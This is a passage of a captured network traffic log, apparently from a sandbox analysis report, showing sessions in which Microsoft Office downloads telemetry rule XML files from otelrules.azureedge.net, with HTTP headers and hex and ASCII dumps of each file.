N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:35 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b06c69a3-d01e-008e-61b3-42387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035935Z-174f7845968frfdmhC1EWRxxbw00000013w000000000g8y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:35 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:35 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:35 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bf56a963-f01e-0096-46b4-4310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035935Z-174f7845968kdththC1EWRzvxn0000000g8000000000a8vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:35 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: ee9d2ac9-001e-00a2-1991-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035935Z-174f78459688l8rvhC1EWRtzr00000000geg00000000cc0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:36 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 0b0e70ef-c01e-00ad-0cbd-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035936Z-174f7845968px8v7hC1EWR08ng00000014800000000028y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:36 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b12f5008-901e-002a-4fa2-427a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035937Z-174f7845968zgtf6hC1EWRqd8s0000000wtg00000000f80r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:37 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 500645f0-d01e-0049-2151-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035937Z-174f7845968pf68xhC1EWRr4h8000000142000000000g2nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:37 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 51d742da-301e-0020-0b4d-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035937Z-174f7845968nxc96hC1EWRspw800000013p0000000007fh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49956	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:37 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c1465301-601e-0050-31f1-412c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035938Z-174f7845968kdththC1EWRzvxn0000000g7000000000cc83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49957	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:38 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a132b298-601e-0070-6cf9-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035939Z-174f7845968cpnpfhC1EWR3afc00000013d000000000n4fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49958	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:39 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 922d60ff-b01e-0021-755f-40cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035939Z-174f7845968xr5c2hC1EWRd0hn0000000nqg00000000e289 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49959	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:39 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6361a643-501e-0047-3bd4-43ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035939Z-174f7845968px8v7hC1EWR08ng0000001450000000009hng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49960	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:39 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 8b1ec87f-b01e-003e-7a8e-438e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035940Z-174f7845968psccphC1EWRuz9s0000001450000000009get x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
